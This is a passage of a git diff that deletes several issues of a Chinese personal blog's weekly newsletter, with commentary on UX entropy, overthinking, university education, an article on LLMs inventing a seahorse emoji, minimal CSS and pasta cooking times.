bigger -> -> 我可以和恶魔交易因为我的家伙更大 - -~~不过我真的很难忍住不把这句词翻译成:我可以铤而走险因为老子几把更大。~~ 这一整首歌对「爹味」的诠释我都很喜欢。后面还有一句「They don't make loyalty like they used to」写的也很棒——「They don't make ... like they used to.」是老男人、过来人的经典语录之一「现在这些东西都和以前造的不一样了」,这里把东西换成了 loyalty(忠诚)。<!--more--> - ---- - -## ↯ · 当下 - -- 我的国庆假期第一天,在[被尘螨霸凌](/posts/我与灰尘不共戴天/)之后做了一下午的清洁。你的呢? -- 自己许久之前在 [Backrooms 中文维基](https://backrooms-wiki-cn.wikidot.com/)写的一篇怪谈作品在这个月被评为精品,收到这个消息之后就回去看了看,顺带发现了那边在举办[新的竞赛](https://backrooms-wiki-cn.wikidot.com/2025rivals-replacement),而且那天刚好是报名阶段的最后一天,于是我没怎么想就报名了。~~希望能在截止时间前写出一个像样的作品。~~ 很难想到,那篇在我博客的草稿箱躺了半个月,一直卡着写不动的草稿,改成 Backrooms 故事之后就写得意外顺畅。由于竞赛规定,在投票阶段结束之前不能宣传作品,所以我会等到 10 月 25 日之后把这篇小说发布在博客上。 -- 不清楚是不是季节的关系,感觉自己精力和行动力都一天比一天差,下周真的得想办法调整回来了。 - -## ⋈︎ · 连接 - -### 用户体验熵增 - -> [!note] 📜 -> 文章链接:[UX Entropy - Allen Pike](https://allenpike.com/2025/ux-entropy) - -文章简单介绍了视频会议软件的发展史,以及 Zoom 是如何将难用的线上会议体验变得简单高效,收获大量用户获得商业成功的,然而,作者发现 Zoom 的成功正在慢慢坍塌。 - -随着 Zoom 开始把中心从「快捷」转为「安全和隐私」,又很快因为疫情经历了公司规模的扩张(尤其是员工数量大规模增长导致管理难度增加),Zoom 这个软件产品发生了很多变化。首先,Zoom 的设置界面变得非常非常复杂,有 63 个分区和子分区,甚至还有 17 个子子分区和 12 个子子子分区!其次,为了盈利,Zoom 会给只有两个人的初创公司推送满屏的广告,希望用户升级到最高容纳 100 人的大会议室。 - -> At the same time though, this stuff gives users the ick. “Avoid the ick” is not an OKR, and “% of users that hate navigating your settings” does not appear on your KPI dashboard. -> -> 同时,这种东西让用户感到恶心,而「避免恶心」并不是一个 OKR[^1],「讨厌在设置里乱转的用户占比」也不会出现在你们的 KPI 仪表盘上。 - -作者表示,总有一天用户会发现如今的视频会议体验已经和以前的一样难用,并且会要求更好的产品,最终会有人提供这样的产品取代 Zoom——It's the circle of life. - -#### 我的观点 - -我没有用过 Zoom,但我觉得标题里 UX Entropy(用户体验熵)的概念很有意思——如果放任不管,或者管理不到位,软件产品就会变的越来越混乱,用户体验也会越来越差,可见项目管理对软件质量的重要性。Zoom 的故事可以作为一个警示。 - -#软件 #设计 - -### 「敏感」到底意味着什么 - -> [!note] 📜 -> 文章链接:[「敏感」到底意味着什么 \| So!azy](https://blog.solazy.me/20250928/) - -作者分析了「敏感」背后的机制,将其总结为:高信息捕捉能力、强关联性思维和以内在自我为中心的机制。作者指出,我们应该重新看待「敏感」,理解它的作用机制,天生敏感的人也要学会管理这套机制。 - -#### 我的观点 - -我就是这样一个敏感的人!这篇文章第一段的描述真的有让我共情。 - -我有和室友讨论过「敏感」这件事,他说他以前和人相处时似乎能用「皮肤」感觉到空气里的不适感,察觉到气氛不对劲,我也深有同感,我想这就是「高信息捕捉能力」的一种体现吧。我最近有在尝试做的一件事情,是「避免解读言外之意」,也就是切断「敏感」的第一层机制——我捕捉到了信息,但是我选择无视。我现在明白了,==如果一个人有问题,那他就会自己提出来,如果他没提出来,那就是他自己的问题了==。我完全没必要为自己行为是否影响了别人而感到惴惴不安,更没必要帮别人感觉到他们本来应该自己说出口的话。对朋友我可以这样贴心,对所有人都这般敏感只会害了自己。 - -#人际交往 - -### 给过度思考者的 10 个想法 - -> [!note] 📜 -> 文章链接:[10 ideas for overthinkers - by George Mack - High Agency](https://essays.highagency.com/p/10-ideas-for-overthinkers) - -文章写得很简练,每一句话都很有启发性,以至于我直接把他翻译了出来,不需要总结。 - -#### 译文 - -1. **过度思考是生活税**。普通人每天花几乎八小时的时间神游。如果你每天有 16 小时醒着,那你迷失在想象里的时间就占有意识存在的一半。为了体会这种生活税务有多大:每年大概是从一月一日到六月三十日的时间。如果你加上睡觉时间,就会更糟:一月一日到八月三十日,无意识或者神游。你只有从九月一日到十二月三十一日的时间留给生活的碎片。 - 多思妥耶夫斯基把过度思考陷阱描述为一种疾病:“我向你发誓,想太多就是一种病,一种真实的、实在的病。” -2. **过度思考是梦游**。平常一天里,人类会产生 30000 到 70000 个想法。悲剧在于:你能想起你昨天想过的一句话吗?如果你是这样的天选之人,那上周二的呢?当下觉得无法逃脱的思维循环在之后就从记忆中删除了,被抛进深渊中。你不会有意识地注意到你忘记了多少,因为,从定义上来讲,你忘记了多少就忘记了多少。 -3. **你没法逃离自己的头脑**。许多人尝试逃离过度思考陷阱的路径之一是旅行。他们登上飞机,把曾经的生活抛之脑后,希望从世界的另一边醒来之后,就能够摆脱过度思考,结果只发现有一件东西他们没法留在家里——他们的头脑。 -4. **过度思考时低能动性的产物**。时间的低能动性模型有三种模式:过去、现在和未来。时间的高能动性模型有五种:滞留过去、修复过去、当下、焦虑未来、构筑未来。时间的低能动性模型假设所有花在思考过去和未来的时间都是一样的。这是错的。修复过去比滞留好一百倍。构筑未来比焦虑好一百倍。在过去或未来的焦虑中花费的成千上万个小时,只需要打一个电话、写封信或者电子邮件就能解决。 -5. **永远不要相信一个想法**。尼采有一个经验法则:“永远不要相信你在室内产生的想法。”这个观点很好,但尼采还没有足够深入。更深入的是:永远不要相信一个想法。当想法离开你的头脑时,才开始检查它的真实性:写作、画画、散步、谈话、画表。相信在头颅和建筑中发生的想法是低能动性废物的繁殖地。 -6. **停止做决定,开始做实验**。从你的词典里移除「决定」这个词。永远不要再用它。用「实验」来替代。丹尼尔·卡尼曼因为他关于决策的研究赢得了诺贝尔奖,并且总结道,最大的教训就是决策理论并没有让他变成一个更好的决策者。现实比你的深思熟虑更聪明:做出假设、设计实验、运行试验。想不到吧!就算是和某人一起养育子女这样的所谓的不可逆的决定,也能够被设计成实验,只要你思考到位:先用一只狗做实验。 -7. **过度思考是妄自尊大导致的**。过度思考者相信他们自尊心很低,却用大把的时间思考有关自己的事情。过度思考不是低自尊,而是自恋。即使过度思考者罕见地思考别人,那也是在担忧那个人怎么看自己。脱离过度思考陷阱的方法是拥抱你内心的伽利略:将你自己从你宇宙的中心移除。尝试以房间里另一个人的角度思考问题。想象他们的沉思和焦虑。你的自我中心的思维循环就会消逝,你会通过走后门的方式获得个人魅力。 -8. **用拿破仑的橱柜整理思绪**。拿破仑像一系列的橱柜一样整理自己的头脑:“不同的主题和不同的事务以柜子的形式整理在我的脑子里。当我想要打断某一个正在进行的想法时,我就会关掉那个抽屉,然后打开另一个。”弄一个你每天查看 30 分钟的焦虑柜子。审视你的焦虑并执行它。三十分钟结束后,关掉柜子。如果新的焦虑出现了,把它放进柜子,告诉自己明天会在规定好的时间里见到它。大多数焦虑都是因为你的大脑不确定你什么时候会执行有关的动作才出现的。当焦虑知道它住在柜子的什么位置、知道清晰的日程时间,它就会安静下来。 -9. **你躲不过自己的头脑**。僧人让见习修士带着一个目标到山顶去:什么都别想。修士遵循了僧人的指导。他花了一整天试图让他的大脑空白,结果他根本停不下来乱想。<br/> - 僧人没办法获得平静,所以他从山上下来的时候,感觉自己像个失败者。<br/> - 第二天,僧人让他带着另一个目标回山上去:保持思考。修士一整天都可以想任何他喜欢的东西,但想法之间绝对不能用间隙。修士遵循了僧人的指导,一整个早上想完了所有的事情:从他的童年到人生的意义。到了午饭时间,他的想法开始枯竭,他的头脑安静了下来。<br/> - 僧人逃脱不了寂静,所以他从山上下来的时候,感觉自己像个失败者。<br/> - 如果你想要增加过度思考,就抗拒过度思考。如果你想要减少过度思考,那就欢迎一切想法。 -10. **过度思考是可以解决的问题**。如果有人指出人类的大脑是有极限的,就用这张释广德法师的照片回复他,照片里他把自己点燃了,保持莲花坐冥想,以抗议战争。他没有动一下。这种核弹般的冲击强大到你必须放下过去所有的假设,然后说「我不知道」。 -  - -#### 我的观点 - -大概是好久没读自助书籍了,有些不适应,看到这些文字还有些反感,但其中的很多观点都值得学习。接着前面「敏感」的话题,其中的一些话对敏感者很有帮助。 - -#认知 - ---- - -## ⁂ · 星群 - -### Privacy Badger - -一个拦截广告和跟踪器的浏览器拓展。目前使用下来还没有感觉到和 uBlock Origin 的区别。我是两个插件一起使用的,uBlock Origin 应该是会优先进行拦截,显示的成功拦截的跟踪器数量一般会比 Privacy Badger 更多,有时候 Privacy Badger 会因为 uBlock Origin 已经拦截了所有的跟踪器所以显示 0。如果两个一起用的话,大概可以捕捉所有的漏网之鱼,就是不知道有没有这个必要。 - -访问:[Privacy Badger](https://privacybadger.org/) - -#隐私 - -### Fluid Glass - -大概应该叫做「流体玻璃」,实现了和 Liquid Glass 类似的玻璃效果,但具有液体的物理效果,会一直分裂出水珠,还会因为鼠标的移动轨迹而变形、被打散,但最终还是会恢复原样。挺有意思的特效。 - -{{< gallery >}} - - - -{{</ gallery >}} - -访问:[Fluid Glass](https://chiuhans111.github.io/fluidglass/) - -[^1]: OKR = Objective + Key Results(目标+关键结果),是一个项目管理术语。 diff --git a/content/posts/weekly/5.md b/content/posts/weekly/5.md deleted file mode 100644 index 9f028048..00000000 --- a/content/posts/weekly/5.md +++ /dev/null @@ -1,142 +0,0 @@ -+++ -title = "稻草人周刊 Vol.5" -subtitle = "看到只有你能看到的" -date = 2024-12-02 15:19:00 -categories = "稻草人周刊" -description = "你必须好好看看。看到别人看不到,看到以前的自己看不到的,看到沉浸其中的他们看不到的,看到只有你能看到的" -draft = false -aliases = [ - "/posts/weekly/稻草人周刊-vol-5/", - "/posts/稻草人周刊-vol-5/", - "/posts/weekly/5", -] -+++ -> [!note] 💡 -> 你正在阅读 [稻草人周刊](/categories/稻草人周刊/) 的第 5 期,我会在这里分享最近的有意思的事情、思考、阅读和体会。 - -<!--more--> - -## 🏃 - -### Changelog - -博客又有了一些小变化。 - -1. 使用 [swup.js](https://swup.js.org/) 实现了页面无刷新切换,优化了用户体验 -2. 使用 [fancybox](https://fancyapps.com/fancybox/) 实现了图片灯箱,可以点击并放大查看图片了 -3. 在页面底部添加了网站的总字数统计 -4. [链接](/links)页面有了更好看的样式 -5. 彻底修复了打开文件名有中文(非 ASCII 字符)的页面时,前端报出 500 错误的问题 -6. 使用 Google Fonts 统一网页字体 - -以上使用了第三方库的功能,包括网站的评论区所使用的 waline,都是通过 [unpkg](https://unpkg.com/) CDN 引用的。如果你所在的地区或网络环境无法正常访问 unpkg,导致以上功能无法正常使用,请告诉我,以便我进行修复和优化。你可以在[关于](/about)页面找到我的邮箱。 - -值得一提的是,关于页面也进行了小幅度的重写。 - -### 收到了[白熊阿丸](https://bxaw.name)送的圣经 - -在上周的[稻草人周刊](/posts/稻草人周刊-vol-4/)的摘录里,我引用了《圣经》中的一句话,也借机跟[白熊阿丸](https://bxaw.name)交流了想法。对方慷慨地表示愿意自费送我一本圣经,在周六我就收到了快递。 - - - - - - - -*下周估计得折腾一下多图排版了……* - -## 🤔 - -### You can’t pull this off - -回看《老友记》,看到 Rachel 的妹妹 Amy 突然来跟 Rachel 一起住的那一集。早上 Amy 擅自穿了 Rachel 挂在门上的衣服,Rachel 说明后,Amy 却说: - -> Oh, sweetie. You can't pull this off. - -这次我是不带任何字幕看的。我想起之前看过的版本,翻译是: - -> 噢,亲爱的,你总不能把这衣服扒下来吧。 - -当时没有听出任何问题,但没了字幕之后,我才意识到,这里的意思应该是: - -> 噢,亲爱的,你穿这件可不好看。 - -以前我一直把笑点理解错了。 - -能听出来真正的意思也得益于语料和情景的积累。我还记得《摩登家庭》里,Alex 穿了一件新衣服,然后跟她的妈妈说了这样一句话: - -> Mom, I can totally pull this off, right? - -**语料和情景对语言的听说能力非常重要**(其实读写也是,只不过读写靠的是文字的上下文而非情景,不过说到底都是 context),因为语言能力需要的不止是语音基础,也需要长时间的积累。我见过有语音能力很强的老师把 Spread the word 听成 Spread to the world,因为她没有听过前者这个实际上非常常见的表达。 - -### 一颗完美的番茄 - -> 相关:[独树不成林:136 - 什么是一颗完美的番茄](https://podcasts.apple.com/cn/podcast/136-%E4%BB%80%E4%B9%88%E6%98%AF%E4%B8%80%E9%A2%97%E5%AE%8C%E7%BE%8E%E7%9A%84%E7%95%AA%E8%8C%84/id1711052890?i=1000677572771) @ Apple Podcast - -作为城里长大的孩子,我其实没吃过「有番茄味的番茄」,就算吃过也早忘了。我一直以为,在番茄炒蛋里加番茄酱是必要的步骤,我奶奶还以为我买番茄沙司是为了做沙拉。听完这期播客之后我才意识到,加番茄酱是为了补足超市番茄缺失的番茄风味。 - -番茄算是我最喜欢的蔬菜之一,但我似乎没吃过具有真正自然属性的番茄,都是工业化量产的个大但味淡的番茄。那问题来了,我喜欢的番茄是真的番茄吗?或者说,让我感到好吃的只是人造的番茄风味而已吗? - -就像主播在节目中提到的,她觉得母亲榨的豆浆没有甜味,而母亲却能品尝出豆浆多加了一个红枣和少加红枣的区别。我相信和我同龄的人,从小喝的都是外面卖的加糖甜豆浆。这样的豆浆算豆浆吗?**我们的味觉是否已经被工业化改造了呢**? - -## 饥饿能提升效率? - -听人讲,饥饿的时候人更容易记住东西,此外还有走动的时候和寒冷的时候。因为这些体验和「生存」有强关联,所以更能引起大脑的注意,让大脑进入状态。这个说法来自《考试脑科学》这本书。 - -读《Thinking, Fast and Slow》(思考,快与慢)的时候,又看到另一种说法: - -> P44, ***tired and hungry judges tend to fall back on the easier default position of denying requests for parole.*** (3. THE LAZY CONTROLLER) - -这里是在说,离午饭时间更近(更饿)的法官,会更容易做出「拒绝假释」的默认做法。此外还有其他研究证明,人在饥饿的时候会经历一个叫做 [Ego Depletion](https://en.wikipedia.org/wiki/Ego_depletion) 的过程——**你越需要靠意志力逼自己做某件事情,就越不容易自控**。也就是说,你越饿,就越需要让自己的注意力从食物和休息的欲望中转移,这个需求可能会导致 Ego Depletion。 - -乍一看这两个说法是矛盾的,其实不然。让我们假设这两个说法都是正确的(当然,实际上可能并不正确),饥饿因为和「生存」有关联,所以能够激活大脑;但大脑是否被激活,和做事情需不需要意志力,以及意志力的强弱并没有关系。 - -从另一个角度看这两个矛盾的说法,可以发现这两本书的作者都只看到了「饥饿」的一个面向(或者说,他们在讨论书中的话题时,只讨论了一面)。**任何人的视角都带有偏见,不应该因为一个人的说法内部逻辑很通顺,就将其信为真理,要主动发现其局限性**。 - -## 自我量化的作用 - -我在《[生产力报告](/categories/生产力报告/)》系列文章里写过如时间记录、产出复盘、习惯打卡等自我量化的方法。尽管我在这些文章里浅浅地谈了谈这么做的好处,但说实话,我的初心只是为了好玩,因为我喜欢做图表的感觉,尤其是看着大量的数据整齐排列的时候(*处女座属性又爆发了……*)。 - -直到最近,我才意识到这样的自我量化系统有什么用处。 - -一是发现规律,二是纠正感性的认知,或者说*一棒子敲醒做梦的自己*。 - -比如我能从我的月支出折线图中,看出我消费的规律。每隔一段时间,我都会有一个消费的小高峰,间隔大概是一到两周左右。我每个月有很大一部分的支出,都来自这些为了满足自己一时欲望的消费。 - - - -所以,当我发现自己买纸巾还抠抠搜搜的时候,我就告诉自己,这种日常消费完全不会扰乱自己的理财计划,大额的冲动消费才会。于是我的消费焦虑小了很多,我有更多的精力克制自己做出不理性的消费。(*[然后我就花了 3000 买了台 MacBook](https://www.geedea.pro/posts/苹果产品和猫/),上面这张图的峰值全都平了*) - -开始咒骂自己之前,我又从另一张图表里发现「这还不是自己花钱最不带脑子的一个月嘛!」。 - - - -玩笑归玩笑,调侃自己之后其实真的能发现,自我量化真的能击破自己不切实际的幻想。我还开始统计自己花在各个方面的时间,回顾之后我才发现,尽管这周我感到自己的状态又创新低,但实际上,我仍然花了很多的时间写作,阅读的时间就算有所下降,也超过很多人了。 - - - -这张图也一针见血地打破了我对自己的另一层幻想。我花在「游戏开发」上的时间,少得可怜,而且我已经两周没有推进自己的游戏项目了。在看到这周的复盘之前,我还沉浸在「做了第一个游戏」的美好幻想当中。 - -**有的时候还是要给自己泼一泼冷水的**。 - -自我量化无法真正解决的,就是怎样让自己明确知道,下一步应该做什么。但当事人已经发现问题,这已经是很重大的一步了,想想世界上有多少人和我之前一样沉浸在自我感觉良好但实际上正在逐步走向沉沦的无声毁灭当中? - -## 📒 - -[The Art of Finishing | ByteDrum](https://www.bytedrum.com/posts/art-of-finishing/) - -> The irony is that this pursuit of perfection often leads to imperfect results — or no results at all. -> -> 讽刺的是,对完美的追求往往会导致不完美的结果——或者完全没有结果。 - -> Every unfinished project takes up mental space. It’s like having dozens of browser tabs open — each one uses a little bit of your mental RAM, leaving you with less capacity for new ideas and focused work. This mental clutter can be a significant drain on your creativity and productivity. -> -> 每一个未完成的项目都会占用心智空间。就好像打开了很多个浏览器标签页,每一个都使用一点你的心智内存,留给新想法和专注工作的空间就变少了。这种心智的负担,很有可能会极大地消耗你的创造力和生产力。 - -[从零开始认识谜题设计 | 机核 GCORES](https://www.gcores.com/articles/190249) - -> 当一道题真的很难时,**错误反馈会指向正确的路径**,**困难在一次次挑战中逐渐递减**,玩家的体验才会更好。 - -> 谜题设计本身就是一场游戏,一场属于玩家和设计师的博弈。对于玩家来说,那是“你设计得有点水平,可惜都被我看穿了”;对于设计师来说,那是“我就知道你会那么想,所以我才这么做。” - -> 和想象中不同,关节解谜的难度不是从易到难逐步上升的,它是↗↗↗↘↗↗↗↘这样的,每过一段时间,难度曲线就有一次回落。 diff --git a/content/posts/weekly/50.md b/content/posts/weekly/50.md deleted file mode 100644 index 8680f376..00000000 --- a/content/posts/weekly/50.md +++ /dev/null @@ -1,146 +0,0 @@ -+++ -title = "稻草人周刊 Vol.50" -subtitle = "大学教育如何沦为笑话" -tags = [ - "教育", - "Web", - "AI", - "烹饪", - "生活", -] -categories = "稻草人周刊" -date = 2025-10-13 08:36:00 -draft = false -toc = true -aliases = [ - "/posts/weekly/50", -] -+++ -{{< music cover="https://r2.eltr.ac/uPic/2025/10/Where_Is_My_Husband!_-_Raye.png" title="WHERE IS MY HUSBAND!" artist="Raye" apple="https://music.apple.com/cn/album/where-is-my-husband/1838737596?i=1838737598" spotify="https://open.spotify.com/album/01sqwTOTrN9gaYQc1rr6Zw" netease="https://music.163.com/#/song?id=2747347844" >}} - -> Baby, where the hell is my husband? -> -> What is taking him so long to find me? - -很癫很饿的一首歌。看完歌词我突然意识到,在如今的流行歌曲里,「Baby」俨然成为了一个没有实意的感叹词,算是很有意思的语言现象。 - -<!--more--> - ---- - -## ↯ · 当下 - -- 《The Fate of Cophelia》(咖啡丽亚的命运) -  - 千里迢迢回到家就是为了用意式机做一个无人能懂的双关笑话。 -- 中秋节的时候在朋友圈吐槽月饼难吃,于是一个朋友提议给我带他们那边的月饼,说要改变我对这个食物的认知。收假第一天,他真的拿过来了,还骑着车送到我校门口(第一次觉得这个男人这么帅)。不过,我到底要怎么告诉他,我仍然觉得这个月饼很难吃? - {{< gallery >}} -  -  - {{</ gallery >}} - -## ⋈︎ · 连接 - -### 大学教育如何沦为笑话 - -<iframe allow="autoplay *; encrypted-media *; fullscreen *; clipboard-write" frameborder="0" height="175" style="width:100%;max-width:660px;overflow:hidden;border-radius:10px;" sandbox="allow-forms allow-popups allow-same-origin allow-scripts allow-storage-access-by-user-activation allow-top-navigation-by-user-activation" src="https://embed.podcasts.apple.com/cn/podcast/%E7%8B%AC%E6%A0%91%E4%B8%8D%E6%88%90%E6%9E%97/id1711052890?i=1000731210130"></iframe> - -树老师在《读书不成林》的[第 262 期](https://podcasts.apple.com/cn/podcast/%E7%8B%AC%E6%A0%91%E4%B8%8D%E6%88%90%E6%9E%97/id1711052890?i=1000731210130)播客中就美国和中国的两篇最近出现的、有关大学教育的报道,阐述了她观察到的两国大学教育的**殊途同归**——美国大学教育的过度自由,和中国大学教育的过度纪律(偏向高中化的趋势)都在让大学教育本身变得越来越可笑。 - -美国大学的过度自由体现在真实评价的缺失和课堂秩序的缺失。教授不敢给学生打低分,因为担心被投诉,几乎所有的学生都至少能够拿到 A- 的分数,换句话说,几乎不怎么学也能拿高分。这进一步导致了美国大学生对课堂的不重视,因为不管上不上课都能拿高分,那好好上课就没办法做到出类拔萃了,想要脱颖而出,就只能多参与课外活动、多社交,很多人都选择逃课去参加课外活动,然后晚上在寝室看课程录播。即使是在课堂上,教授也不敢命令学生放下电子设备专心听课,因为使用手机是学生的自由;还有大学在前排设置了无设备区,但那里空无一人。美国大学的另一个问题是非激进派集体失声,许多学生害怕因为政治不正确被网暴,不敢发表自己的真实想法,许多教授不得不制定课堂保密制度,可即使是这样也于事无补。 - -中国大学的过度纪律正在让大学越来越高中化,比如:大一的学生必须每天上早自习和晚自习;在一些大学里,每节课都要点名考勤,纪检委员点名之后要把名字写在黑板上,之后还会有人来查课,如果实际到课率与纪检委员统计的不符,纪检委员还会负连带责任;学校会通过摄像头和 AI 技术统计课堂的抬头率、前排就坐率,不管老师在讲什么都必须盯着黑板…… 这种做法是在用管小朋友的方式管理一群成年人,而成年人是没办法被这样管着的,逼一群成年人学习的结果是最终没有人愿意好好学习。中国大学还在逐渐成为高中那样的「无限责任主体」,即学生出了任何事情家长都会找学校问责,再加上中国教育对心理健康的不重视,很多考上了清华北大的学生都出现了严重的心理问题(很多时候已经不是抑郁那样简单了,比如一些人把自己的粪便涂抹在墙壁上),学校为了规避责任,采取的措施可能是对学生行为加以限制,比如担心患抑郁症的学生自杀所以限制学生进出学校的自由、强制要求家长陪读,或者直接劝退。 - -现代大学教育正在陷入危机,逐渐成为彻头彻尾的笑话。这种趋势正在以不同的方式在世界各地上演。 - -#### 我的观点 - -播客里有关中国大学的报道,有不少都正在逐渐在我身边发生。尽管还没有真的变成寄宿制高中那样压抑,但已经能够看到一些苗头了,早晚自习就是一个例子,此外每堂课都会被录制,有一段时间学校也在抓所谓的抬头率和前排就坐率——所谓的坐前排不过是为了在领导面前摆出一副学生都很积极的假象而已,是伪装成教育手段的行政举措,更是教学质量低下的拙劣遮羞布。 - -大部分大学其实不关心本科生,从不少老师给本科生上课的态度就可以看出来。对大学来说,最重要的是转化更多的研究生,产出更多的科研成果,其次是组织学生参加竞赛拿奖。比起更难以量化也很少会被检查的教学质量这一关,所谓的成果能够带来直接的收益。对于本科生自己来说,课程成绩也几乎没有作用,除非要争取保研名额或者出国留学,否则无论是就业、考公还是考研,学校里的成绩如何几乎没有影响。我并不是说大学里的老师都毫无人文关怀,或者学校本身一无是处,我只是指出了一个系统性的、结构性的问题。 - -对于个人来说,我认为要尽可能脱离学校的系统,去接触更真实的世界,尽早摆脱学生思维和学校的「庇护」。对于教育从业人员来说,我想我没资格给他们建议,我只想指出,目前教育系统的问题已经非常突出了。 - -#教育 - -### 大模型为什么因为海马 Emoji 发疯? - -> [!note] 📜 -> [Why do LLMs freak out over the seahorse emoji?](https://vgel.me/posts/seahorse/) - -作者发现,如果问大语言模型(无论是 Claude、ChatGPT、Gemini 还是其他模型)是否存在有「海马」的 Emoji 字符,他们都会回答「有」,然后尝试给出这个他们认为存在的海马 Emoji。实际上,Unicode 里面并没有海马这个 Emoji。这些模型要么在中途发现了自己的错误,改口说不存在海马 Emoji,要么执拗地给出一个不存在的 Emoji 字符,要么在意识不到自己错误的情况下一直输出,比如 GPT-5 的回答: - - - -作者在后文用 [logit lens](https://www.lesswrong.com/posts/AcKRB8wDpdaN6v6ru/interpreting-gpt-the-logit-lens) 这个方法获取了模型的 `lm_head`,`lm_head` 一般在最后一层的输出使用(层指神经网络的层级),可以通过 `lm_head` 推测模型是如何给出某个回答的。简单来说,模型在输出 Emoji 字符的时候,能在 logit 中看到对应的单词和 `ĠðŁ` 这个 Emoji 字节前缀。如果要输出马的 Emoji,token 里就会有 `horse + emoji` 的组合,而被问及海马 Emoji 时,模型的 token 是 `seahorse + emoji`,一个不存在的字符。 - -由于模型只有在输出之后才有可能意识到海马 Emoji 不存在,所以几乎所有的模型在一开始都会非常肯定地表示海马 Emoji 存在。作者猜测这是模型的强化学习(reinforcement learning)导致的。 - -#### 我的观点 - -作者的发现印证了我在《[思考是碳基生物的特权吗?](/posts/thinking-privilege/)》中表达的观点,即如今的以大语言模型为首的人工智能,实际上只实现了形式上的智能,在结构上,人工智能创造了一种与生物智能完全不同的「智能」;不仅不能代替人类思考,更是和人类思考的方式完全不同;我完全不能认可人工智能的「思考」能够被称作思考。 - -而这种智能与人类智能有所不同的原因之一就是人工智能模型所使用的强化学习策略,以及其他的训练方法。我家乡这边有一句俗语是「牛教三遍会打转」,而机器却需要上千上万个样本才能实现某个更低劣的「学习」,真的很难被称作「聪明」。 - -当然,我没有在否定人工智能的工具价值,我必须强调这一点。 - -#AI - -### 得体的网站所需的最少 CSS - -> [!note] 📜 -> [The least amount of CSS for a decent looking site](https://thecascade.dev/article/least-amount-of-css/) - -作者考虑了为了保证网站可读性和最低美观程度所需要的最少的修改,只要网页大部分都是纯 HTML,就不需要考虑响应式问题。最终的结果是这样: - -```css -html { - color-scheme: light dark; -} - -body { - font-family: system-ui; - font-size: 1.25rem; - line-height: 1.5; -} - -img, -svg, -video { - max-width: 100%; - display: block; -} - -main { - max-width: min(70ch, 100% - 4rem); - margin-inline: auto; -} -``` - -其中,`html` 选择器下的 `color-scheme` 用于使用浏览器自带的夜间模式,这里指定的是网站可以渲染的色彩模式(浅色和深色)。如果这个属性包含 `dark`,那么在用户的系统模式为深色时,网站就会自动被渲染为黑底白字,不需要额外编写深色模式代码。 - -除此之外,作者还解决了必要的字体排印(行距、字体大小等)、图片移除、行宽等问题,解决方案都足够优雅。 - -#### 我的观点 - -看完这串 CSS 代码我产生了一个奇怪的想法:图片溢出的问题不应该由开发者编写额外的 CSS 来解决,毕竟需要图片超过容器大小的应用场景占少数,这个东西应该由浏览器默认样式或者 HTML 的渲染机制自动解决。我不清楚这是历史遗留问题,还是刻意或者必要的设计。 - -#Web - -### 意面要煮多久? - -> [!note] 📜 -> [Pasta Cooking Time](https://www.jefftk.com/p/pasta-cooking-time) - -作者觉得意面包装盒上标注的烹饪时间都太长了,即使是根据最短的建议时间煮制,也会觉得煮出来的意面太软糊了。所以,作者用**游标卡尺**测量了意面的厚度,然后开始煮面;从第九分钟开始,作者**每隔 15 秒取出一块**意面,一直到第十四分钟半;最后,作者和他的家人用**二分查找法**找到了各自认为的最佳煮制时间。他们都认为 12 分钟 45 秒之后的意面都太软了,然而包装盒上的建议时间却是 13~15 分钟。之后作者还用显微镜观察了不同煮制时间的意面在结构上有没有什么不同,不过并没有得出什么结论。 - -更有趣的是这篇文章的评论区,有两个留言者指出,这完全有可能是**海拔差异**导致的!由于不同海拔的大气压不同,低海拔地区水的沸点会比高海拔地区的更高,也就是说低海拔地区的沸水的温度会更高,煮意面所需要的时间也就更短。一位留言者称它所在的地区(海拔 1615m 以上),煮意面需要比包装盒上的时间煮得更久,往往要长一到三分钟。 - -#### 我的观点 - -可能是口味偏好的差异,我煮意面一般不会超过七分钟,而且一般冷水下锅煮的。不过重庆的海拔确实不算高,这和水温也有关系吧。 - -总觉得意面包装应该像咖啡豆卡一样,在标注煮制时间的同时标注水温,给出不同水温(海拔)下的建议煮制时间。不过,能把意面做到这种程度的品牌,他们的产品得卖多贵啊? - -#烹饪 #生活 - diff --git a/content/posts/weekly/51.md b/content/posts/weekly/51.md deleted file mode 100644 index 950de6e6..00000000 --- a/content/posts/weekly/51.md +++ /dev/null @@ -1,170 +0,0 @@ -+++ -title = "稻草人周刊 Vol.51" -subtitle = "Liquid Glass 的罪行" -tags = [ - "Apple", - "设计", - "隐私", - "游戏", -] -categories = "稻草人周刊" -date = 2025-10-20 08:36:00 -draft = false -toc = true -aliases = [ - "/posts/weekly/51", -] -+++ -{{< music cover="https://r2.eltr.ac/uPic/2025/10/The_Tortured_Poets_Department_The_Anthology.png" title="loml" artist="Taylor Swift" apple="https://music.apple.com/cn/album/loml/1742057774?i=1742058103" spotify="https://open.spotify.com/track/3YkNIrAvbKNrrwwEd7NVLl" >}} - -大概是下雨的关系,这几天总是在路上听这首歌。 - -<!--more--> - ---- - -## ↯ · 当下 - -- 把 IntelliJ IDEA 卸载了,一方面是它真的太重了,另一方面是最近写代码的时候遇到好几个莫名其妙的问题,和代码无关,IDEA 重装之后也无法正常打开项目,完全不知道怎么排查。如果不用图形界面的话,就完全不会有这些问题,所以我就全面转向 Zed 编辑器和命令行工具了。自己需要写 Java 代码的时间其实相对较少,用得更多的语言是 JavaScript、Lua 还有偶尔的 Go 语言,这些语言我都能够用一个简单轻量的编辑器,加上本身就足够好用、清晰的命令行工具搭建开发环境。 - - 明明 Spring Boot 的 `mvn spring-boot:run` 和 JavaScript 的 `npm run dev` 一样好用,命令行排查问题也更方便、加载速度也更快,真不知道为什么非要用一个又贵又难用的图形界面工具。即使是开发大型软件,这种配置也更接近真实的运行环境,而且各种操作都是透明的,没有伪装成按钮和表格的「魔法」。 - - 如果我要更进一步的话,我大概就会去用 Emacs 或者 Vim 编辑器了。 -- 这周读完了三本书,分别是萨特的《[存在主义是一种人道主义](/library/2025/存在主义是一种人道主义/)》《[零废弃](/library/2025/零废弃/)》和《[控糖革命](/library/2025/控糖革命/)》,可以在博客阅读我写的三篇书评。读完之后我也在逐渐把家里的塑料制品逐步替换为金属、玻璃、硅胶或陶瓷材质的;开始控糖,在餐前吃富含纤维的开胃菜、喝醋汁、饭后适度运动。 - -## ⋈︎ · 连接 - -### Liquid Glass 的罪行 - -> [!note] 📜 -> [Liquid Glass Is Cracked, and Usability Suffers in iOS 26 - NN/G](https://www.nngroup.com/articles/liquid-glass/) - -本文批评了 Apple 的新设计语言「Liquid 